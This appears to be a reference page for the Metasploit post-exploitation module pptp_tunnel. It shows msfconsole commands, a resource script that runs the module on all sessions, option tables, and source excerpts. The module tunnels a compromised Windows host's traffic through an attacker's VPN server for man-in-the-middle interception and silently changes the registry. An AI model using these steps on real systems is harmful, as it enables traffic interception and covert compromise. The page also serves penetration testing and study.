Windows Manage Remote Point-to-Point Tunneling Protocol - Metasploit


This page contains detailed information about how to use the post/windows/manage/pptp_tunnel metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: Windows Manage Remote Point-to-Point Tunneling Protocol
Module: post/windows/manage/pptp_tunnel
Source code: modules/post/windows/manage/pptp_tunnel.rb
Disclosure date: -
Last modification time: 2017-07-24 06:26:21 +0000
Supported architecture(s): -
Supported platform(s): Windows
Target service / protocol: -
Target network port(s): -
List of CVEs: -

This module initiates a PPTP connection to a remote machine (VPN server). Once the tunnel is created we can use it to force the victim traffic to go through the server getting a man in the middle attack. Be sure to allow forwarding and masquerading on the VPN server (mitm).

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage


There are two ways to execute this post module.

From the Meterpreter prompt

The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post module against that specific session:

meterpreter > run post/windows/manage/pptp_tunnel

From the msf prompt

The second is by using the "use" command at the msf prompt. You will have to figure out which session ID to set manually. To list all session IDs, you can use the "sessions" command.

msf > use post/windows/manage/pptp_tunnel
msf post(pptp_tunnel) > show options
    ... show and set options ...
msf post(pptp_tunnel) > set SESSION session-id
msf post(pptp_tunnel) > exploit

If you wish to run the post against all sessions from framework, here is how:

1 - Create the following resource script:


framework.sessions.each_pair do |sid, session|
  run_single("use post/windows/manage/pptp_tunnel")
  run_single("set SESSION #{sid}")
  run_single("run")
end

2 - At the msf prompt, execute the above resource script:

msf > resource path-to-resource-script

Required Options


  • SESSION: The session to run this module on.

  • USERNAME: VPN Username.

  • PASSWORD: VPN Password.

  • VPNHOST: VPN server.

Go back to menu.

Msfconsole Usage


Here is how the windows/manage/pptp_tunnel post exploitation module looks in the msfconsole:

msf6 > use post/windows/manage/pptp_tunnel

msf6 post(windows/manage/pptp_tunnel) > show info

       Name: Windows Manage Remote Point-to-Point Tunneling Protocol
     Module: post/windows/manage/pptp_tunnel
   Platform: Windows
       Arch: 
       Rank: Normal

Provided by:
  Borja Merino <[email protected]>

Compatible session types:
  Meterpreter

Basic options:
  Name      Current Setting  Required  Description
  ----      ---------------  --------  -----------
  MITM      true             yes       Man in the middle.
  PASSWORD                   yes       VPN Password.
  PBK_NAME  MSF              yes       PhoneBook entry name.
  SESSION                    yes       The session to run this module on.
  TIMEOUT   60               yes       Timeout for the tunnel creation.
  USERNAME                   yes       VPN Username.
  VPNHOST                    yes       VPN server.

Description:
  This module initiates a PPTP connection to a remote machine (VPN 
  server). Once the tunnel is created we can use it to force the 
  victim traffic to go through the server getting a man in the middle 
  attack. Be sure to allow forwarding and masquerading on the VPN 
  server (mitm).

References:
  http://www.youtube.com/watch?v=vdppEZjMPCM&hd=1

Module Options


This is a complete list of options available in the windows/manage/pptp_tunnel post exploitation module:

msf6 post(windows/manage/pptp_tunnel) > show options

Module options (post/windows/manage/pptp_tunnel):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   MITM      true             yes       Man in the middle.
   PASSWORD                   yes       VPN Password.
   PBK_NAME  MSF              yes       PhoneBook entry name.
   SESSION                    yes       The session to run this module on.
   TIMEOUT   60               yes       Timeout for the tunnel creation.
   USERNAME                   yes       VPN Username.
   VPNHOST                    yes       VPN server.

Advanced Options


Here is a complete list of advanced options supported by the windows/manage/pptp_tunnel post exploitation module:

msf6 post(windows/manage/pptp_tunnel) > show advanced

Module advanced options (post/windows/manage/pptp_tunnel):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   VERBOSE    false            no        Enable detailed status messages
   WORKSPACE                   no        Specify the workspace for this module

Post Actions


This is a list of all post exploitation actions which the windows/manage/pptp_tunnel module can do:

msf6 post(windows/manage/pptp_tunnel) > show actions

Post actions:

   Name  Description
   ----  -----------

Evasion Options


Here is the full list of possible evasion options supported by the windows/manage/pptp_tunnel post exploitation module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 post(windows/manage/pptp_tunnel) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Timeout after <TO> seconds


Here is a relevant code snippet related to the "Timeout after <TO> seconds" error message:

47:	    begin
48:	      ::Timeout.timeout(to) do
49:	      run_rasdial(pbk,datastore['USERNAME'],datastore['PASSWORD'], datastore['VPNHOST'],datastore['PBK_NAME'])
50:	      end
51:	    rescue ::Timeout::Error
52:	        print_error("Timeout after #{to} seconds")
53:	    end
54:	    file_rm(pbk)
55:	    print_status("Phonebook deleted")
56:	  end
57:	

You don't have enough privileges to change the registry. Network Wizard will not be disabled


Here is a relevant code snippet related to the "You don't have enough privileges to change the registry. Network Wizard will not be disabled" error message:

56:	  end
57:	
58:	
59:	  def disable_network_wizard
60:	    if not is_admin?
61:	      print_error("You don't have enough privileges to change the registry. Network Wizard will not be disabled")
62:	      return
63:	    end
64:	
65:	    key = 'HKLM\\System\\CurrentControlSet\\Control\\Network'
66:	    value = "NewNetworkWindowOff"

The fo llowing Error was encountered: <E.CLASS> <E>


Here is a relevant code snippet related to the "The fo llowing Error was encountered: <E.CLASS> <E>" error message:

68:	      if not registry_getvaldata(key,value)
69:	        registry_setvaldata(key,value,3,"REG_BINARY")
70:	        print_good("Network Wizard disabled")
71:	      end
72:	    rescue ::Exception => e
73:	      print_status("The fo llowing Error was encountered: #{e.class} #{e}")
74:	    end
75:	  end
76:	
77:	
78:	  def create_pbk(mim,pbk_name)

Connection failure: <OUTPUT_RUN>


Here is a relevant code snippet related to the "Connection failure: <OUTPUT_RUN>" error message:

97:	    cmd_exec("rasdial","/disconnect")
98:	    output_run = cmd_exec("rasdial","#{pbk_name} #{user} #{pass} /PHONE:#{vpn_host} /PHONEBOOK:#{pbk}")
99:	    output_view = cmd_exec("rasdial", nil)
100:	
101:	    if output_view =~ /#{pbk_name}/i
102:	      print_good("Connection Successful")
103:	    else
104:	      print_error("Connection failure: #{output_run}")
105:	    end
106:	  end
107:	end

Go back to menu.


References


See Also


Check also the following modules related to this module:

Authors


Borja Merino <bmerinofe[at]gmail.com>

Version


This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.